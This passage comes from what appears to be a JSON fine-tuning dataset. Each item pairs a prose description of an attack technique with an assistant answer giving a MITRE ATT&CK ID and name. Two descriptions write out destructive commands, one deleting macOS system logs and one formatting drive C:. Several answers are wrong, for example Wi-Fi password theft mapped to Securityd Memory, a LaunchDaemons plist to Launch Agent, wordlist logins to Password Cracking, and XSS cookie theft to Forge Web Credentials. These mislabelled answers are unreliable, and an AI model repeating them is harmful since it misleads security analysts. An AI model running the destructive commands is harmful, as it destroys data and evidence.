        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators leveraged the default credentials set on the network camera to access its configuration interface."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed their command and control traffic inside ICMP echo request packets, using the protocol as a covert channel."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom credential‑dumping utility, the threat group pulls data from Windows Credential Manager on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary steals a hardware token (e.g., YubiKey) and reuses it to bypass multi‑factor authentication controls."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage toolkit exploits the Windows Clipboard API to pass data between a dropped executable and a running service."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit misconfigured S3 buckets to download configuration files and source code repositories."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced threat creates a local account and configures a scheduled task to run under its context."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team performs a broadcast ping sweep followed by banner grabbing to discover active hosts and their network services."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By continuously invoking a vulnerable application endpoint that performs heavy computation, the adversary exhausts system resources and forces a shutdown."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use stolen code signing keys to re‑sign existing legitimate software with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach included downloading the configuration backup of a Fortinet firewall via its management portal."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary ran \"sudo rm -rf /private/var/log/*\" on a macOS device to wipe audit logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a direct memory read of securityd to acquire stored user secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights on the internal web server, the attacker replaced the company's landing page with a defaced version displaying their logo."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker uses a legitimate remote admin tool to copy a weaponized script onto a neighboring workstation over the network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulates credential reuse by logging into multiple workstations with a leaked domain account."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting reconnaissance on a system's logging and monitoring capabilities to identify potential weaknesses."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest SSH private keys from compromised Linux hosts and reuse them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators query public DNS resolvers for the victim’s internal domain to infer machine names."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the system's random number generator with a predictable one, causing all symmetric keys to be derived from a limited set of values."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker downloaded a phishing toolkit from an online archive to facilitate credential harvesting across multiple phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware drops a script that recursively changes the ACLs of all user documents to give the attacker full control before encrypting them."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used the OpenStack API to generate snapshots of block storage volumes, facilitating later ransomware deployment."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hides a PowerShell payload inside the least‑significant bits of a PNG file, then sends the image to the compromised host where it is extracted and executed."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a malicious attachment that, when opened, runs a script to dump saved Wi‑Fi passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious .plist in /Library/LaunchDaemons and sets it to run with root privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the timestamp fields of its payload to make it appear older than it actually is."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates an isolated virtual instance to execute its code, thereby obscuring the malicious activity from system logs."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses Azure AD Graph API calls to retrieve a list of all Azure AD users and their properties."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a scheduled job that writes database connection strings, including passwords, to a log file and reads them."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware retrieves an encrypted JSON file from a server and decrypts it with a hard‑coded key before parsing."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads /proc/<pid>/environ of high‑privilege processes to extract cached password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs a batch file that calls 'format C: /FS:NTFS /P:1' to purge the drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped a tool for lateral movement by uploading it via a compromised RDP session's clipboard file transfer feature."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a remote desktop gateway, the intruder creates a tunnel that links an external attacker-controlled system directly to the internal network segment."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack employs a cloud storage service’s shared‑link feature to exfiltrate data without raising suspicion."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a malicious binary that registers a counterfeit certificate in the Windows Certificate Manager, allowing signed updates to be trusted."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltrating data via compromised supply chain components"
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link posted on a forum redirects to a phishing site that mimics the Twitter password reset process."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages publicly exposed Memcached servers, sending small request packets that generate massive response payloads directed at the victim's IP address, leading to a reflection-based DDoS attack."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries steal a valid OAuth access token from a compromised service account and use it to authenticate to cloud APIs, bypassing MFA."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker rents a VPS on a public cloud platform to serve as a staging area for malicious files."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured FTP server by iterating through a wordlist of passwords to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder initiates a repeated MFA challenge via the organization's SSO portal, attempting to trick the user into clicking 'Approve' out of annoyance."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor abuses the LdrRegisterDllNotification function to register malicious code in thread-local storage for later execution."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes a portable executable payload into the address space of svchost.exe and then creates a remote thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves adjusting the permissions on HKLM\\SYSTEM\\CurrentControlSet\\Services\\* keys to overwrite the service executable path with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a tool that reads the Edge \"PasswordVault\" registry entries to obtain web credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload checks for keyboard activity by listening for keystroke events; it only proceeds when real user typing is detected, indicating a live system."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs OS credential dumping by accessing the system's password files (/etc/passwd, /etc/shadow)."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script exploits the open metadata service on a cloud VM, stealing the instance's OAuth tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors develop and test exploit scripts for a widely used VPN client vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a DLL injection technique to alter runtime variables of a banking application."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators extracted the SQL Server error log to enumerate database login failures and potential user enumeration."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a crafted sequence of Ethernet frames containing specific payload signatures, the malware signals the host to decrypt and launch a hidden payload, a form of traffic signaling."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet is used to flood a target's MFA service with authentication requests, seeking to cause the user to inadvertently approve one."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages path interception by adding a malicious directory to the beginning of the PATH, causing subsequent commands to run the attacker-controlled binaries."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits reused passwords by logging into a victim’s Instagram account using credentials harvested from a data breach."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage the trusted Windows installer utility InstallUtil to load and execute a .NET DLL that contains malicious functionality."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program adds a shortcut to the user's Startup folder, causing it to reopen automatically on system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Employ a logic bomb to delay malicious activity until after a scanning tool has completed its scan"
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating an additional window for a running process, the attacker injects code into that window's memory and triggers execution via a callback."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom kernel driver overwrites entries in the KernelCallbackTable, causing the OS to execute malicious code during callbacks."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group forges a certificate to legitimize malicious driver installations on target machines."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script harvests PEM-encoded private keys from credential stores and uploads them to the command server."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public GitHub repositories for API keys and credentials related to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phishing attachment delivery, the attacker embeds a U+202E RTL character in the email attachment name, causing the real malicious extension to be hidden from the recipient."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake social media verification badge page is used to lure users into entering their login details, which are then harvested."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a rogue router that connects the victim's internal network to an uncontrolled external network, creating a direct bridge for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker installs a custom network provider library that hijacks the logon process, altering authentication tokens before they are validated."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts Kerberos tickets from the LSASS process and forges a golden ticket to gain domain admin privileges."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary scans public GitHub repositories for hard‑coded API keys and secret tokens."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden PowerShell script named \"maintenance.ps1\" and registers it with the Windows Management Instrumentation (WMI) Event Subsystem, causing the script to run when a specific system event occurs, acting as a proxy execution method."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved renaming legitimate Windows utilities, such as netsh.exe, to malicious binaries with similar names."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a reflected XSS payload, the attacker reads the document.cookie property and forwards the cookie to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
